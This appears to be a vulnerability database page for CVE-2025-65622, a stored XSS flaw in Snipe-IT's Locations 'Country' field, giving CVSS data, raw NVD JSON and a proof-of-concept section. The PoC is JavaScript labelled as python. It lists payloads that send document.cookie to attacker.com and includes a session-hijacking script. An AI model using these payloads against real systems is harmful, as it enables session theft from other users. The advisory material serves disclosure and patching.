Security Vulnerability Report
中文
CVE-2025-65622 CVSS 5.4 MEDIUM

CVE-2025-65622

Published: 2025-12-01 22:15:49
Last Modified: 2025-12-03 18:58:47

Description

Snipe-IT before 8.3.4 allows stored XSS via the Locations "Country" field, enabling a low-privileged authenticated user to inject JavaScript that executes in another user's session.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:snipeitapp:snipe-it:*:*:*:*:*:*:*:* - VULNERABLE
Snipe-IT < 8.3.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-65622 PoC - Stored XSS in Snipe-IT Locations Country Field // This PoC demonstrates how to inject malicious JavaScript via the Country field // Step 1: Login to Snipe-IT with low-privileged account const loginEndpoint = 'https://target-snipeit.com/api/v1/auth/login'; const loginData = { email: '[email protected]', password: 'userpassword' }; // Step 2: Create or update a location with XSS payload in Country field const createLocationEndpoint = 'https://target-snipeit.com/api/v1/locations'; const locationData = { name: 'Test Location', country: '<script>alert(String.fromCharCode(88,83,83))</script>', // Alternative payloads: // '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>' // '<svg onload=fetch("https://attacker.com/log?data="+btoa(document.cookie))>' }; // Step 3: When admin or other users view the location, XSS executes // The injected script will run in their browser context // Example XSS payload for session hijacking: const sessionHijackPayload = ` <script> fetch('https://attacker.com/collect', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ cookie: document.cookie, url: window.location.href, referrer: document.referrer }) }); </script> `;

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65622", "sourceIdentifier": "[email protected]", "published": "2025-12-01T22:15:48.697", "lastModified": "2025-12-03T18:58:47.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Snipe-IT before 8.3.4 allows stored XSS via the Locations \"Country\" field, enabling a low-privileged authenticated user to inject JavaScript that executes in another user's session."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:snipeitapp:snipe-it:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.3.4", "matchCriteriaId": "46D67094-0C55-414A-81CC-1949B09F31B2"}]}]}], "references": [{"url": "http://snipeitapp.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/firef0x00/vulnerability-research/tree/main/CVE-2025-65622", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}